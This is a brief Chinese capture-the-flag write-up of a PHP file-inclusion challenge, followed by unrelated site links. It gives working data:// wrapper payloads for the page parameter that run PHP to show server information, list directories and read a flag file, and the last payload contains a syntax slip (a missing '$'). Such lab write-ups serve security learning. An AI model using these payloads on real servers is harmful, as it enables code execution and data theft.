32.攻防世界Web_php_include

进入场景

echo $_GET['hello'] 直接将用户通过 GET 方法提交的 hello 参数值输出到页面上,这可能会导致 XSS(跨站脚本攻击)漏洞。

在下面的代码中,虽然对 page 中的 php:// 进行了替换处理,但是仍然存在文件包含漏洞的风险。如果我们能够通过 _GET['page'] 传入一个恶意的文件路径,就可能导致服务器上的任意文件被包含和执行

"file://"是一种用于指定本地文件系统中文件的URI(统一资源标识符)协议。通过"file://"协议,可以在浏览器或其他支持该协议的应用程序中访问本地文件

"data://"协议是 PHP 中的一种数据流协议,它允许将数据作为文件来读取。该协议的语法如下:data:(<mediatype>)(;base64),<data>,其中,<mediatype>是可选的媒体类型,<data>是数据内容。

测试

/?page=data://text/plain,<?php phpinfo()?>

目录路径

/?page=data://text/plain,<?php echo $_SERVER['DOCUMENT_ROOT']; ?>

目录文件

/?page=data://text/plain,<?php print_r(scandir('/var/www')); ?>

读取文件内容

/?page=data://text/plain,<?php a=file_get_contents('fl4gisisish3r3.php'); echo htmlspecialchars(a); ?>

相关推荐
EnglishJun13 小时前
ARM嵌入式学习(八)--- 汇编应用:点亮led
汇编·arm开发·学习
PNP Robotics13 小时前
PNP机器人亮相第二届机器人灵巧手国际创新大会
人工智能·学习·机器人·开源
2501_9181269113 小时前
学习所有python写浏览器的语句
开发语言·python·学习
猹叉叉(学习版)13 小时前
【系统分析师_知识点整理】 4.计算机网络与分布式系统
笔记·计算机网络·软考·系统分析师
℡終嚸♂68013 小时前
钓鱼攻击全面解析:原理、手段与实战防御
网络·安全·web安全
hjxu20161 天前
【OpenClaw 龙虾养成笔记一】在远程服务器,使用Docker安装OpenClaw
服务器·笔记·docker
sinat_255487811 天前
读者、作家 Java集合学习笔记
java·笔记·学习
彭波3961 天前
.NET Framework 3.5问题修复教程!可以离线修复
windows·安全·电脑·.net·开源软件
Edward111111111 天前
3.18异常学习
学习
observe1011 天前
输入输出1
笔记